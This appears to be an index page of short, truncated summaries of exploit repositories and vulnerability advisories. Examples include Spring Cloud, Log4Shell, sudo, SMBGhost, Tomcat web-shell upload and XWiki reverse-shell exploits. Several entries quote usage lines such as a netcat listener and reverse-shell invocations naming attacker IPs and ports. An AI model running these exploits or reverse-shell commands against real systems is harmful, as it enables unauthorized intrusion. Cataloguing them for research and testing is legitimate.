RCE-in-Spring-Cloud-CVE-2022-22963

Spring Cloud RCE 漏洞利用工具 CVE-2022-22963 用于 CVE-2022-22963 远程命令执行的 Spring Cloud Function 漏洞利用工具 关于此漏洞的详细信息，请参见此处和此处 PoC 在你的主机上运行 netcat： root@kitploit: $ nc -lvnp 9001 在攻击者主机上使用默认端口 9001 运行漏洞利用工具（示例）： root@kitploit: $ ./exploit.sh site.com 10.10.14.122 ---Reverse Shell Exploit for CVE-2022-22963 RC...

php_reverse_shell

This repository does not have a README...

cve-2025-23266-migration-bypass

cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass two method given to get flag's content: 1. copy it from host into container's mounted dir; 2. use reverse shell to get it;...

php-8.1.0-dev-exploit

php-8.1-dev-Exploit ⚠️ 重要（请先阅读） 本仓库包含一个 Java 概念验证（PoC），仅供 CTF / 实验环境使用。请勿对非您拥有或未经明确书面授权测试的系统运行此代码。未经授权的利用行为属违法行为。请仅在隔离环境（虚拟机、容器、私有 CTF/HTB 靶机）中使用。 前置条件 已安装 Java JDK（8+）（javac 和 java 已加入 PATH） 攻击机与目标机之间存在网络连通性（实验室 / CTF 网络） 在主机上准备好一个用于接收反向 shell 的监听器（例如 nc -lvnp ），并在尝试 PoC 前在单独的终端中运行。...

Log4Shell-CVE-2021-44228-ENV

Log4Shell Reproduction Environment Example Description Victim machine IP: 47.47.47.47 Attacker machine IP: 48.48.48.48 Running the Vulnerable Docker on the Victim Machine Use the DockerFile to build the docker image and run: root@kitploit: docker build . -t vuln docker run -p 8080:8080 --name vul...

CVE-2016-6662

CVE-2016-6662 From SQL injection to root shell with CVE-2016-6662 by MaYaSeVeN Proof of Concept: https://www.youtube.com/watch?v=lyc7GFE3q2U...

CVE-2024-48990-POC

CVE-2024-48990-POC Simple poc for CVE-2024-48990 privilege escalation vulnerability with needrestart. https://www.qualys.com/2024/11/19/needrestart/needrestart.txt Overview This was desgined while working through the HackTheBox challenge, 'Conversor'. Slight modifications will be made to generali...

vsftpd2.3.4PyExploit

vsftpd2.3.4PyExploit An exploit to get root in vsftpd 2.3.4 CVE-2011-2523 written in python Usage: ./exploit.py $VictimIPaddress Attention! The exploit open a shell that it is not reverse. I recommend to open a reverse shell after the exploit. I didnt do it here because i didnt want to assume wha...

CVE-2021-3156-plus

CVE-2021-3156 This is a warehouse modification based on @CptGibbon and supports arbitrary command execution. 相关阅读：CVE-2021-3156 - Exploit修改 Root shell PoC for CVE-2021-3156 no bruteforce For educational purposes etc. Tested on : @CptGibbon Ubuntu 20.04 against sudo 1.8.31 @Rvn0xsy Ubuntu 17.10 Al...

CVE-2025-24813-POC

JSP Web Shell Uploader A simple Python tool for uploading a basic JSP web shell to one or more targets via HTTP PUT requests. ⚠️ For educational and authorized penetration testing only. Apache Tomcat is vulnerable to a Path Equivalence / Path Traversal issue due to improper handling of ../...

CVE-2026-35867

A command injection vulnerability in the bs_SetLimitCli_info function of the libshare.so library affects the LB-LINK router AC1900_AZ2 V1.0.2 . The flaw allows an attacker on the adjacent network to inject shell metacharacters via a POST /goform/set_LimitClient_cfg request, even without administr...

CVE-2026-35867

A Command Injection vulnerability exists in the bsSetLimitCliinfo function within the libshare.so library of the LB-LINK router AC1900AZ2 V1.0.2 via shell metacharacters, if the device is deployed in a scenario where an actor is able to make a "POST /goform/setLimitClientcfg" call but does not...

PT-2026-90837

A high severity remote code execution flaw in Spug through version 3.4.0 enables authenticated users with monitor permissions to execute arbitrary commands on the host system. Key Points: CVE-2026-90770 affects Spug versions up to and including 3.4.0 with a CVSS score of 8.8. The vulnerability...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: emacs (UTSA-2023-000605)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2023-000605 advisory. GNU Emacs through 28.2 allows attackers to execute commands via shell metacharacters in the name of a source-code file, because lib-src/etags.c uses the system C...

CVE-2026-27626-POC

CVE-2026-27626: OliveTin password-argument command injection OliveTin lets an admin define "actions": shell commands with parameterized arguments that users can trigger from a web UI or API. Before templating a user-supplied value into the shell command, OliveTin is supposed to run it through...

CVE-2026-50979

CVE-2026-50979: oPanelにおける認証済みリモートコード実行 概要 CVE ID: CVE-2026-50979 製品名: oPanel 影響を受けるバージョン: v1.19.50 およびそれ以前 脆弱性タイプ: 認証済みコマンドインジェクション / リモートコード実行 RCE 脆弱性コンポーネント: /advanced/curl エンドポイント 深刻度: 重大 説明 oPanel バージョン v1.19.50 およびそれ以前 の advanced/curl エンドポイントにコマンドインジェクションの脆弱性が存在します。アプリケーションは、url...

CVE-2020-0796

CVE-2020-0796 Working Exploit PoC CVE-2020-0796 - Reverse Bind Shell Tested using Python2.7 To Install: pip install -r requirements.txt To Run: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2026-33017-Exploit

Fireflow RCE Exploit Remote Code Execution for Langflow via the buildpublictmp endpoint. Exploit via Public Flow Build Endpoint that executes a reverse shell on the target. Requirements Python 3.8+ httpx library Install: root@kitploit: pip install httpx Usage root@kitploit: python exploit.py -u -...

CVE-2025-31644

CVE-2025-31644：F5 BIG-IP 设备模式下的命令注入 "save" 命令的 "file" 参数存在命令注入漏洞，拥有 "/mgmt" Web API 或 SSH "tmsh" shell 管理员权限的认证攻击者可利用该漏洞，在目标系统上以 "root" 用户身份获得远程代码执行能力。 注意： 仅当 BIG-IP 以设备模式运行时，此发现才被视为漏洞，因为这可能允许具有管理员角色的认证攻击者绕过设备模式的安全机制，而该机制原本会阻止任意高级 Shell（bash）命令的执行。 厂商披露： 有关此漏洞的厂商披露和修复方案，请参见此处。 要求： 此漏洞需要： 有效的用户凭据...

xwiki-15.10.8-reverse-shell-cve-2025-24893

CVE-2025-24893 Reverse Shell Exploit for XWiki Disclaimer: This script is intended for educational purposes and authorized security testing only. Do not use on systems you do not own or have explicit permission to test. Misuse can be illegal and dangerous. Description This Python script exploits...